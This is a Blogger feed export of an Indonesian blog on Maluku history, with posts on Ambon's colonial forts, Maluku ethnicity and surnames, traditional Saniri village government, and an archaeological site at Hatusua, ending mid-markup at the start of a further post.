tag:blogger.com,1999:blog-79346531463600074982024-03-21T12:24:23.548-07:00HUAMUALHuamual adalah sebuah kerajaan di belahan timur Nusantara,tepatnya di propinsi maluku,kabupaten seram bagian barat, kecamatan huamual depan,desa lokki.Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.comBlogger27125tag:blogger.com,1999:blog-7934653146360007498.post-43942496191661593202011-03-23T11:11:00.000-07:002011-03-23T11:23:35.014-07:00Nieuw Victoria<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUYlw8zIVtY2r4TXfROuwWMSjHrk0aUDCAg5mjTqQBXtjj7hDlKaZ7fyrBsKFXJnHIJaIFKwF4nryck8T__H71JQprpnRPnIi5O4Vtd_reXElXWBIQootwu1FsciKTGZZpuxgYU0utJ-BX/s1600/CA6FGDM3.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 336px; height: 206px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUYlw8zIVtY2r4TXfROuwWMSjHrk0aUDCAg5mjTqQBXtjj7hDlKaZ7fyrBsKFXJnHIJaIFKwF4nryck8T__H71JQprpnRPnIi5O4Vtd_reXElXWBIQootwu1FsciKTGZZpuxgYU0utJ-BX/s200/CA6FGDM3.jpg" alt="" id="BLOGGER_PHOTO_ID_5587341115313583810" border="0" /></a><br /><h3 style="color: rgb(255, 204, 51);" class="post-title entry-title"> <a href="http://tukelation.blogspot.com/2011/03/nieuw-victoria_06.html">Nieuw Victoria</a> </h3> <div style="color: rgb(255, 204, 51);" class="post-header"> </div> <div class="separator" style="clear: both; text-align: center; color: rgb(255, 204, 51);"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTSxs0i_aboaPFcfqQL9AYd5tyn4lgERYduPAfh-l1XVf7yTMiBUJeIOZZeHhPZsDhMfageDS-3PVZUTpQ5Z9qqFNINtLUXiEFX6mBz5XA6tyB25p7o7GSsVsJimsskPnohsmq8UoQN_sq/s1600/CA6FGDM3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a></div><span style="color: rgb(255, 204, 51);">Fakta-fakta sejarah mengenai berdirinya Benteng Nieuw Victoria di Kota Ambon, adalah berawal dari dibangunnya benteng Portugis di pantai Honipopo pada abad ke-16. Batu pertama dari benteng tersebut diletakkan oleh seorang panglima armada Portugis di Maluku, Sancho de Vasconcelos, pada tanggal 23 Maret 1575. Dalam waktu tiga bulan, tembok benteng dan menara-menaranya telah dibangun lengkap dengan sejumlah rumah di dalamnya. Kemudian, benteng itu secara resmi diberi nama “Nossa Senhora da Anunciada”. Pemberian nama tersebut berkaitan dengan hari Kenaikan (“Anunciada”) yang bertepatan dengan peletakan batu pertama pembangunan benteng tersebut. Tetapi, menurut para saksi mata dari abad ke-17 dan ke-18, baik Rumphius, Valentijn dan Rijali, di kalangan penduduk Pulau Ambon, benteng tersebut lebih dikenal dengan sebutan “Kota Laha”, yang berarti benteng (“Kota”) di teluk (“Laha”). Benteng Kota Laha berbentuk segi empat mengikuti bentuk benteng batu yang umumnya dibangun di Eropa dalam abad pertengahan. Pada keempat sudutnya dibangun empat buah menara bersegi tiga untuk menempatkan meriam. Karena ancaman terbesar akan datang dari laut, maka kedua menara meriam yang mengarah ke laut dibuat lebih kokoh dari yang mengarah ke darat. Dua gerbang utama menjadi pintu masuk ke benteng tersebut, sebuah terletak pada tembok ke arah laut (untuk muatan kapal-kapal) dan sebuah lagi pada tembok ke arah darat. </span><br /><br /><span style="color: rgb(255, 204, 51);">Benteng Kota Laha jatuh dari tangan Portugis ke pihak VOC pada tanggal 23 Maret 1605 dibawah pimpinan Admiral Steven van der Haghen, sehingga benteng tersebut hanya berhasil dipertahankan oleh Portugis selama 30 tahun (1575-1605). Kemudian benteng tersebut berganti nama menjadi “Victoria” (kemenangan) pada tahun 1614, sebagai peringatan atas kemenangan Belanda dari Portugis. Kota Laha menjadi satu dari dua benteng di Asia yang berhasil direbut VOC dari Portugis, selain benteng Malaka yang direbut tahun 1648. Kemudian dalam perkembangannya, pada tanggal 17 Februari 1674 terjadi gempa yang dasyat di Pulau Ambon dan pulau-pulau sekitarnya. Akibatnya, benteng Victoria mengalami kerusakan berat, bahkan beberapa bangunan tidak dapat digunakan lagi. Kerusakan dalam benteng Victoria yang diakibatkan oleh gempa segera dapat diatasi. Rumah-rumah kayu yang terdapat dalam benteng tersebut berangsur-angsur diganti dengan bangunan yang lebih baik dan kokoh. Namun pada tahun 1754 terjadi kembali gempa dahsyat yang menimbulkan kerusakan yang sangat parah pada benteng Victoria. Karena kesulitan keuangan, renovasi benteng itu baru selesai akhir tahun 1780-an. Karena perbaikan dan perubahannya sangat banyak, maka sejak saat itu benteng tersebut dinamakan “Nieuw Victoria” (Victoria Baru). Benteng tersebut kini telah mengalami kerusakkkan berat dan kurang mendapat perhatian dari Pemerintah Daerah Maluku. Hal ini diakibatkan oleh kurang tertanganinya situs budaya tersebut oleh pemerintah yang berwenang dan di akibatkan juga oleh penggunaan situs benteng tersebut sebagai lokasi markas Den Kavaleri KODAM XVI Pattimura.</span><br /><br /><span style="color: rgb(255, 204, 51);">Selain benteng Victoria di Kota Ambon, Belanda juga mendirikan sebuah benteng kecil di luar Kota Ambon, di sekitar Kaitetu yang dinamakan “Verre”, yang oleh penduduk setempat dinamakan “Kota Warwek” mengikuti nama panglima armada dagang Belanda, bernama Admiral Warwijk yang memimpin pembangunan benteng tersebut. Pada awalnya bangunan tersebut berfungsi sebagai loji yang dibangun Portugis pada tahun 1599 untuk menampung bahan rempah-rempah yang di beli dari penduduk di sekitar daerah itu untuk di bawa ke Ternate dan seterusnya ke Malaka. Setelah Portugis meninggalkan Ambon loji tersebut diambil alih oleh VOC dan akhirnya dijadikan sebagai benteng oleh Pemerintah Hindia Belanda semasa pemerintahan Gubernur Gerrad Demmer. Bangunan benteng tersebut terdiri dari dua lantai dan dilengkapi dengan satu menara pengintai. Lantai atas dipakai sebagai tempat tinggal tentara Belanda, sedangkan di lantai bawah terdapat satu ruang penjara dan dilengkapi dengan gudang mesiu. Benteng tersebut pernah diserang dan dibakar oleh masyarakat Kerajaan Hitu di bawah pimpinan Kakiali pada Perang Hitu tahun 1634. Kemudian benteng tersebut dibangun kembali oleh Arnold de Vlaming van Oushoorn dalam bentuk yang lebih kuat dan besar pada tahun 1649. Benteng tersebut kemudian berganti nama menjadi “Amsterdam”. Belanda juga mendirikan sebuah benteng pertahanan di Desa Passo yang bernama “Middelburg” pada tahun 1626 oleh Robert Padbrugge.</span><br /><br /><span style="color: rgb(255, 204, 51);">Rumah Residen Amboina yang dibangun oleh Gubernur Adriaan Van der Stel (1706-1720). Kompleks itulah yang pada abad ke-19 berubah menjadi kediaman resmi gubernur maluku dan kini menjadi Markas KODAM XVI Pattimura yang berlokasi di Batu Gajah.Semula bangunan ini berfungsi sebagai Rumah Sakit, dibangun oleh Gubernur Arnold de Vlaming van Oudshoorn (1647-1650), tetapi kemudian direnovasi kembali oleh Gubernur N. Schagen (1691-1696) karena telah mengalami kerusakan akibat gempa yang terjadi pada tahun 1674. Sejak saat itu, rumah sakit tersebut beralih fungsi menjadi kantor peradilan. Pada lantai kedua bangunan itu, ditempatkan “Raad van Justitia” (pengadilan untuk pegawai VOC dan warga kota). Di lantai dua itu pula terdapat kantor dari “Weeskamer” (balai peninggalan harta) dan “Commissarissen der Huwelijkzaken” (kantor urusan pernikahan). Di depan gedung tersebut terdapat sebuah lapangan terbuka dengan tiang gantungan bagi para penjahat yang dijatuhi hukuman mati (Kapitan Pattimura, Said Parenta dan Anthony Rhebok di gantung di tempat tersebut). Letak tiang gantungan tersebut tepatnya di kawasan Tugu Pahlawan Nasional Thomas Matulessy (Kapitan Pattimura). Kemudian pada abad ke-18, gedung tersebut diberi nama “Stadhuis” (balaikota), tetapi sejak abad ke-19 dikenal sebagai gedung “Landraad” (pengadilan untuk penduduk negeri) hingga kini.Sebuah bangunan megah yang didirikan pada masa pemerintahan VOC di Kota Ambon adalah “pasar” pada tahun 1690, terletak di tepi pantai ke arah barat benteng Victoria (kini menjadi lokasi pertokoan Ambon Plaza). Pembangunannya diprakarsai oleh Gouverneur van Amboina yang memerintah saat itu, yakni Gubernur Dirk de Haas (1687-1691), ukurannya jauh lebih besar dari gedung-gedung gereja yang berada di Kota Ambon. Valentijn mengatakan, bahwa ia belum pernah melihat sebuah pasar yang sedemikian indah dengan letaknya yang begitu bagus sehingga orang bisa menikmati pemandangan teluk dan dermaga yang memanjang dari gerbang laut benteng Victoria. Bahkan bagi Valentijn, pasar ini adalah gedung terindah di Kota Ambon pada masa itu. Bangunan pasar ini tidak bertembok, dan atap gentengnya ditopang oleh sejumlah pilar.Tahun 1695, pada masa gubernur N. Schagen (1691-1696), gereja melayu dibongkar dan dibangun gedung baru yang selesai pengerjaannya pada masa pejabat gubernur cornelis stull (1696-1697) di tahun 1696. Bagian bawah dari tembok gedung gereja terbuat dari batu dan sisahnya dari kayu yang merupakan sumbangan penduduk negeri-negeri di Leitimor. Dalam gereja baru tersebut terdapat sebuah mimbar yang terbuat dari kayu pilihan (kayu langoa dan eboni). Di hadapannya terdapat kursi-kursi khusus untuk para pejabat seperti gubernur, oppercoopman (kepala urusan administrasi), capitein dan anggota-anggota dewan pemerintahan (politike raad)dan untuk anggota-anggota jemaat disediakan bangku-bangku yang juga terbuat dari kayu langoa.Terdapat di jalan Chinesestraat (kini bernama jalan A.J. Patty), letak gereja Melayu berada tepat di gedung PUSKUD. Tetapi akibat Perang Dunia kedua yang pecah pada pertengahan abad ke-20 (1942 – 1945) mengakibatkan gereja tersebut di bom oleh pesawat tempur Jepang.<br /><br /><span style="font-weight: bold;font-size:130%;" >By : Jeffrey Riry</span><br /></span>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com1tag:blogger.com,1999:blog-7934653146360007498.post-79889226679400905032010-09-01T19:50:00.000-07:002011-03-23T12:42:18.625-07:00Suku Bangsa Maluku<blockquote></blockquote><meta equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 11"><meta name="Originator" content="Microsoft Word 11"><link rel="File-List" href="file:///C:%5CWINDOWS%5CTEMP%5Cmsohtml1%5C01%5Cclip_filelist.xml"><o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="country-region"></o:smarttagtype><o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="State"></o:smarttagtype><o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="place"></o:smarttagtype><!--[if gte mso 9]><xml> <w:worddocument> <w:view>Normal</w:View> <w:zoom>0</w:Zoom> <w:punctuationkerning/> <w:validateagainstschemas/> <w:saveifxmlinvalid>false</w:SaveIfXMLInvalid> <w:ignoremixedcontent>false</w:IgnoreMixedContent> <w:alwaysshowplaceholdertext>false</w:AlwaysShowPlaceholderText> <w:compatibility> <w:breakwrappedtables/> <w:snaptogridincell/> <w:wraptextwithpunct/> <w:useasianbreakrules/> <w:dontgrowautofit/> </w:Compatibility> <w:browserlevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:latentstyles deflockedstate="false" latentstylecount="156"> </w:LatentStyles> </xml><![endif]--><!--[if !mso]><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object> <style> st1\:*{behavior:url(#ieooui) } </style> <![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:-webkit-sans-serif; panose-1:0 0 0 0 0 0 0 0 0 0; mso-font-alt:"Times New Roman"; mso-font-charset:0; mso-generic-font-family:roman; mso-font-format:other; mso-font-pitch:auto; mso-font-signature:0 0 0 0 0 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink {color:blue; text-decoration:underline; text-underline:single;} a:visited, span.MsoHyperlinkFollowed {color:purple; text-decoration:underline; text-underline:single;} p {mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} @page Section1 {size:8.5in 11.0in; margin:1.0in 1.25in 1.0in 1.25in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} </style> <![endif]--> <p class="MsoNormal" style="text-align: justify; line-height: 17.75pt; color: rgb(51, 255, 51);">Suku bangsa <b>Maluku</b> didominasi oleh ras suku bangsa <a href="http://www.blogger.com/wiki/Melanesia" title="Melanesia"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Melanesia</span></a> Pasifik, yang masih berkerabat dengan <a href="http://www.blogger.com/wiki/Fiji" title="Fiji"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Fiji</span></a>, <a href="http://www.blogger.com/wiki/Tonga" title="Tonga"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Tonga</span></a>, dan beberapa bangsa kepulauan yang tersebar di kepulauan Samudra Pasifik.<span style=";font-family:-webkit-sans-serif;font-size:36;" ><o:p></o:p></span></p> <p style="margin: 4.8pt 0in 6pt; text-align: justify; line-height: 18pt; color: rgb(51, 255, 51);"><span style="font-family:-webkit-sans-serif;">Banyak bukti kuat yang merujuk bahwa Maluku memiliki ikatan tradisi dengan bangsa bangsa kepulauan pasifik, seperti bahasa, lagu-lagu daerah, makanan, serta perangkat peralatan rumah tangga dan alat musik khas, contoh: <a href="http://www.blogger.com/wiki/Ukulele" title="Ukulele"><span style="text-decoration: none;">Ukulele</span></a> (yang terdapat pula dalam tradisi budaya <st1:place st="on"><st1:state st="on">Hawaii</st1:state></st1:place>).</span><span style=";font-family:-webkit-sans-serif;font-size:36;" ><o:p></o:p></span></p> <p style="margin: 4.8pt 0in 6pt; text-align: justify; line-height: 18pt; color: rgb(51, 255, 51);"><span style="font-family:-webkit-sans-serif;">Mereka umumnya memiliki <i>kulit gelap</i>, <i>rambut ikal</i>, <i>kerangka tulang besar dan kuat</i>, dan profil tubuh yang lebih <i>atletis</i> dibanding dengan suku-suku lain di Indonesia, dikarenakan mereka adalah suku kepulauan yang mana aktivitas laut seperti berlayar dan berenang merupakan kegiatan utama bagi kaum pria.</span><span style=";font-family:-webkit-sans-serif;font-size:36;" ><o:p></o:p></span></p> <p style="margin: 4.8pt 0in 6pt; text-align: justify; line-height: 18pt; color: rgb(51, 255, 51);">Sejak jaman dahulu, banyak diantara mereka yang sudah memiliki darah campuran dengan suku lain, perkawinan dengan suku <a href="http://www.blogger.com/wiki/Suku_Minahasa" title="Suku Minahasa"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Minahasa</span></a>, <a href="http://www.blogger.com/wiki/Sumatra" title="Sumatra"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Sumatra</span></a>,<a href="http://www.blogger.com/wiki/Suku_Jawa" title="Suku Jawa"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Jawa, Madura</span></a>, bahkan kebanyakan dengan bangsa <a href="http://www.blogger.com/wiki/Eropa" title="Eropa"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Eropa</span></a> (umumnya<a href="http://www.blogger.com/wiki/Belanda" title="Belanda"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Belanda</span></a> dan <a href="http://www.blogger.com/wiki/Portugal" title="Portugal"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Portugal</span></a>) kemudian <a href="http://www.blogger.com/wiki/Bangsa_Arab" title="Bangsa Arab"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >bangsa Arab</span></a>, <a href="http://www.blogger.com/wiki/India" title="India"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >India</span></a> sudah sangat lazim mengingat daerah ini telah dikuasai bangsa asing selama 2300 tahun, dan melahirkan keturunan keturunan baru, yang mana sudah bukan ras <a href="http://www.blogger.com/wiki/Melanesia" title="Melanesia"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Melanesia</span></a> murni lagi. Karena adanya percampuran kebudayaan dan ras dengan orang Eropa inilah maka Maluku merupakan satu-satunya wilayah <st1:country-region st="on"><st1:place st="on">Indonesia</st1:place></st1:country-region> yang digolongkan sebagai daerah <a href="http://www.blogger.com/wiki/Mestizo" title="Mestizo"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Mestizo</span></a>. Bahkan hingga sekarang banyak marga di Maluku yang berasal bangsa asing seperti <a href="http://www.blogger.com/wiki/Belanda" title="Belanda"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Belanda</span></a>(Van Afflen, Van Room, De Wanna, De Kock, Kniesmeijer, Gaspersz, Ramschie, Payer, Ziljstra, Van der Weden, dll) dan <a href="http://www.blogger.com/wiki/Portugal" title="Portugal"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Portugal</span></a> (Da Costa, De Fretes, Que, Carliano, De Souza, De Carvalho, Pareira, Courbois, Frandescolli, dll). Ditemukan pula marga bangsa <a href="http://www.blogger.com/wiki/Spanyol" title="Spanyol"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Spanyol</span></a>(Oliviera, Diaz, De Jesus, Silvera, Rodriguez, Montefalcon, Mendoza, De Lopez, dll) serta <a href="http://www.blogger.com/wiki/Arab" title="Arab"><span style="text-decoration: none;font-family:-webkit-sans-serif;" >Arab</span></a> (Al-Kaff, Al Chatib, Bachmid, Bakhwereez, Bahasoan, Al-Qadri, Alaydrus, Assegaff, dll). Cara penulisan marga asli Maluku pun masih mengikuti ejaan asing seperti Rieuwpassa (baca: Riupasa), Nikijuluw (baca: Nikiyulu), Louhenapessy (baca: Louhenapesi), Kallaij (baca: Kalai), Akyuwen (baca: Akiwen).<span style=";font-family:-webkit-sans-serif;font-size:36;" ><o:p></o:p></span></p> <p style="margin: 4.8pt 0in 6pt; text-align: justify; line-height: 18pt;"><span style="color: rgb(51, 255, 51);font-family:-webkit-sans-serif;" >Dewasa ini, masyarakat Maluku tidak hanya terdapat di <st1:place st="on"><st1:country-region st="on">Indonesia</st1:country-region></st1:place> saja melainkan tersebar di berbagai negara di dunia. Kebanyakan dari mereka yang hijrah keluar negeri disebabkan olah berbagai alasan. Salah satu sebab yang paling klasik adalah perpindahan besar-besaran masyarakat Maluku ke Eropa pada tahun 1950an dan menetap disana hingga sekarang. Alasan lainnya adalah untuk mendapatkan kehidupan yang labih baik, menuntut ilmu, kawin-mengawin dengan bangsa lain, yang dikemudian hari menetap lalu memiliki generasi-generasi Maluku baru di belahan bumi lain. Para ekspatriat Maluku ini dapat ditemukan dalam komunitas yang cukup besar serta terkonsentrasi di beberapa negara seperti Belanda, Inggris, Amerika Serikat, Rusia, Perancis, Belgia, Jerman dan berbagai benua lainnya.</span><span style="color: rgb(51, 51, 51);font-family:-webkit-sans-serif;font-size:36;" ><o:p></o:p></span></p> Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-12239934422163397072010-09-01T18:56:00.000-07:002010-09-01T19:43:58.810-07:00SANIRI NEGERI<h3 class="post-title entry-title"> Jauh pada masa leluhur di Maluku (di pulau Seram) terdapat dua suku yakni Alune dan Wemale. Dalam suku-suku itu hidup kelompok-kelompok kecil masyarakat, atau keluarga yang membentuk satu persekutuan mata rumah. Kelompok mata rumah terdiri dari beberapa keluarga yang berasal dari satu leluhur. Mata rumah-mata rumah itu kemudian membentuk satu unit sosial yang disebut soa.<br /></h3><br />Tiap-tiap soa dipimpin oleh seorang upu, dan menempati bagian wilayah di dalam Aman atau Hena. Masing-masing soa membagi wilayahnya, di mana batas antarsoa ditandai dengan batu teung. Di dalam masyarakat tipe ini belum ada pembagian wewenang yang tegas.<br /><br />Aman dipimpin oleh seorang Upu. Karena awalnya upu adalah juga pemimpin soa, maka upu yang memimpin aman biasa disebut Amanupui, atau di tempat lain disebut Latu-Nusa. Dalam aman pola pengorganisasian sosial mulai berkembang. Cooley menulis bahwa “upu bertanggung jawab atas semua urusan keduniaan. Dalam urusan peperangan ia dibantu oleh seorang malessi. Sedangkan urusan agama dan “dunia seberang” diselenggarakan oleh mauweng dan pembantunya malimu atau maitale (Cooley, 1987:222).<br /><br />Pola pembagian tugas dan peran sosial seperti itu menunjuk bahwa belum ada perbedaan yang mencolok dalam pola pengorganisasian masyarakat. Peran-peran masih bersifat sederhana, meliputi segmen-segmen sosial yang terbatas, berkaitan dengan bagaimana hidup di alam dan bagaimana hubungan masyarakat dengan dunia seberang. Bobot peran dipegang tokoh-tokoh tertentu dalam masyarakat, karena kharisma dan legitimasi tradisional (misalnya raja oleh mata rumah yang telah dikhususkan).<br /><br />Lambat laun soa menjadi besar. Muncul usaha untuk memperluas teritori baik secara spontan maupun “agresi sosial”. Peperangan atarsuku Wemale dan Alune misalnya dalam sejarah migrasi orang-orang Wemale di Honitetu dengan Alune di Rumberu, memperlihatkan bahwa konflik menjadi bagian dari upaya pembentukan teritori baru. Pertambahan anggora soa dan/atau konflik mendorong ekspansi sosial untuk memperluas dan/atau mencari teritori baru ke luar pulau Seram. Terjadilah gelombang migrasi beberapa mata rumah atau soa pada satu aman/hena dari Seram ke Ambon-Ulias.<br /><br />Pada masa migrasi leluhur sebagian besar migran dipimpin oleh seorang kapitan. Di negeri yang baru, struktur dan sistem pemerintahan Aman dipertahankan. Hanya saja kepala pemerintahan ialah kapitan (menggantikan posisi dan tempat Amanupui/Latu-Nusa), dibantu oleh malessi dan mauweng. Pembantu-pembantu lainnya ialah marinyo, dan kewang. Masa kepemimpinan kapitan relatif singkat; lebih banyak berkaitan dengan perebutan atau penetapan teritori baru. Sampai dengan penetapan sebuah teritori sebagai teritori defenitif, kapitan masih berfungsi untuk beberapa saat hingga diangkatnya Amanupui yang baru. Setelah itu, kapitan bertugas menangani urusan keamanan dan peperangan.<br /><br />Penetrasi Ternate ke Ambon, melalui Hitu, turut pula membawa gelombang perobahan dalam tatanan pemerintahan lokal (autochtnous form of government). Sistem uli diperkenalkan sebagai suatu bentuk pemerintahan di Ambon. Namun, corak pemerintahannya jelas berbeda dengan tatanan sebelumnya. Oleh orang-orang Ambon, sistem ini malah dijadikan sebagai semacam sistem koordinasi plitis antaraman/hena; terutama yang memiliki garis keleluhuran dan pola penataan sosial yang (mirip) sama.<br /><br />Dalam sistem uli, posisi aman tetap dipertahankan, malah setiap aman tetap memiliki pemimpinnya sendiri. Di Ambon, jejak peninggalan Uli terlihat seperti Uli Helawan, Uli Seilessy, Uli Sawani, Uli Hatunuku, Uli Ala, Uli Nau Bunau dan Uli Solameta, dan kemudian menjadi satu Uli yaitu Uli Hitu (Leihitu); atau Uli Nusanive, Uli Urimessing, Uli Terangbulan, Uli Sirimahu, Uli Ema (Leitimor).<br /><br />Ketika penetrasi Portugis, sistem-sistem pemerintahan ini tidak mengalami pergeseran yang berarti. Kurang terasa di Leihitu, karena klik Ternate berdampak pada tergesernya Portugis ke Leitimor. Tetapi di Leitimor, justru persekutuan Uli ini digunakan dalam sistem pekabaran injil, sehingga setiap negeri merupakan pusat Uli, menjadi pusat jemaat untuk pengembangan kekristenan, yang bertugas mengkoordinasi negeri-negeri dalam persekutuan Ulinya.<br /><br />Penetrasi Belanda yang membawa perubahan cukup serius dalam tatanan pemerintahan negeri itu. Persekutuan Uli tereliminasi dengan jalan menghidupkan kembali negeri-negeri sebagai sebuah “republik” yang dipimpin oleh seorang Raja. Raja mendapat tempat cukup istimewa sebagai bagian dari admininstratur residen. Malah menurut Cooley, mereka digaji cukup, dan juga mendapat bonus dari setiap anggota masyarakat yang menjadi pasukan Hongi. Di sini muncul jabatan baru dalam komposisi Saniri Negeri yakni “juru tulis” (orang yang berpendidikan).<br /><br />Walau demikian, masa itu di setiap negeri dapat dijumpai Saniri Negeri, yang memperlihatkan telah adanya pola pembagian wewenang yang cukup modern. Pemerintahan telah berlangsung dalam corak adatis yang kuat. Setiap sistem dan elemen pemerintahan bertugas pada masing-masing sektor yang telah ditetapkan sejak zaman dahulu.<br /><br />Mengenai Saniri sendiri, di setiap negeri terdapat tiga lembaga Saniri, yakni Saniri Rajapatih (dewan raja dan pembantunya), Saniri Negeri Lengkap, dan Saniri Negeri Besar. Saniri Negeri bertugas memilih anggotanya yang berasal dari setiap soa. Jabatan lain yang melengkapi struktur Saniri ini adalah kapitan, malessi, mauweng, kewang, marinyo; untuk tugas-tugas kemasyarakatan.Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-45073673241589813232010-09-01T18:24:00.000-07:002010-09-01T18:51:31.090-07:00Situs Pemukiman Kuno ditemukan di Desa Hatusua<div class="post-4074 post type-post hentry category-arkeologi-2 tag-ambon tag-arkeologi tag-balai-arkeologi-ambon tag-batu-meja tag-bekas-pagar-batu tag-desa-hatusua tag-dolmen tag-goa-pintu-tujuh tag-kabupaten-seram-bagian-barat tag-kecamatan-kairatu tag-pecahan-gerabah tag-pecahan-keramik tag-pemukiman-kuno tag-provinsi-maluku tag-pulau-seram tag-rangka-manusia tag-sejarah tag-situs-pemukiman tag-situs-pemukiman-kuno-ambon-ditemukan tag-wuri-handoko"> <h2>Balai Arkeologi Ambon menemukan situs pemukiman kuno di pesisir pantai Pulau Seram bagian barat atau persisnya di Desa Hatusua, Kecamatan Kairatu, Kabupaten Seram Bagian Barat, Provinsi Maluku.</h2><div class="entry"> <p>Salah satu peneliti di Balai Arkeologi Ambon, Wuri Handoko, di kantornya, mengatakan tim dari Balai Arkeologi Ambon memastikan tanah lapang yang sekarang kondisinya ditumbuhi rerumputan itu sebagai pemukiman kuno berdasarkan pada barang-barang yang ditemukan di sana.</p> <p>Barang itu seperti banyaknya pecahan gerabah, pecahan keramik, dolmen atau batu meja, bekas pagar batu, dan rangka manusia. Semua ditemukan tersebar di lahan seluas lebih dari satu hektar.</p> <p>Sayangnya saat ini, lokasi situs pemukiman kuno itu terancam keberadaannya karena aktivitas manusia.</p> <p>Bebatuan gamping dari Goa Pintu Tujuh banyak diambil penambang batu guna dipakai pembangunan gedung perkantoran Pemerintah Kabupaten Seram Bagian Barat. Selain itu, lahan kosong tempat situs pemukiman kuno berada, beberapa diantaranya di manfaatkan untuk ladang warga.</p> <p>Balai Arkeologi Ambon merencanakan bertemu dengan masyarakat setempat dan pemerintah guna mensosialisasikan temuan ini. Harapannya, setelah disosialisasikan ada perlindungan terhadap situs itu mengingat pentingnya situs sebagai lapangan studi arkeologi, sejarah budaya, bahkan bisa dimanfaatkan sebagai obyek wisata, jelasnya.</p> <p>Tags: <a href="http://semangatbelajar.com/tag/ambon/" rel="tag">Ambon</a>, <a href="http://semangatbelajar.com/tag/arkeologi/" rel="tag">arkeologi</a>, <a href="http://semangatbelajar.com/tag/balai-arkeologi-ambon/" rel="tag">Balai Arkeologi Ambon</a>, <a href="http://semangatbelajar.com/tag/batu-meja/" rel="tag">batu meja</a>, <a href="http://semangatbelajar.com/tag/bekas-pagar-batu/" rel="tag">bekas pagar batu</a>, <a href="http://semangatbelajar.com/tag/desa-hatusua/" rel="tag">Desa Hatusua</a>, <a href="http://semangatbelajar.com/tag/dolmen/" rel="tag">dolmen</a>, <a href="http://semangatbelajar.com/tag/goa-pintu-tujuh/" rel="tag">Goa Pintu Tujuh</a>, <a href="http://semangatbelajar.com/tag/kabupaten-seram-bagian-barat/" rel="tag">Kabupaten Seram Bagian Barat</a>, <a href="http://semangatbelajar.com/tag/kecamatan-kairatu/" rel="tag">Kecamatan Kairatu</a>, <a href="http://semangatbelajar.com/tag/pecahan-gerabah/" rel="tag">pecahan gerabah</a>, <a href="http://semangatbelajar.com/tag/pecahan-keramik/" rel="tag">pecahan keramik</a>, <a href="http://semangatbelajar.com/tag/pemukiman-kuno/" rel="tag">pemukiman kuno</a>, <a href="http://semangatbelajar.com/tag/provinsi-maluku/" rel="tag">Provinsi Maluku</a>, <a href="http://semangatbelajar.com/tag/pulau-seram/" rel="tag">Pulau Seram</a>, <a href="http://semangatbelajar.com/tag/rangka-manusia/" rel="tag">rangka manusia</a>, <a href="http://semangatbelajar.com/tag/sejarah/" rel="tag">Sejarah</a>, <a href="http://semangatbelajar.com/tag/situs-pemukiman/" rel="tag">situs pemukiman</a>, <a href="http://semangatbelajar.com/tag/situs-pemukiman-kuno-ambon-ditemukan/" rel="tag">Situs Pemukiman Kuno Ambon Ditemukan</a>, <a href="http://semangatbelajar.com/tag/wuri-handoko/" rel="tag">Wuri Handoko</a></p> </div> </div>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-60853682025493672112010-09-01T17:48:00.000-07:002010-09-01T18:22:24.725-07:00SUKU WEMALE<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 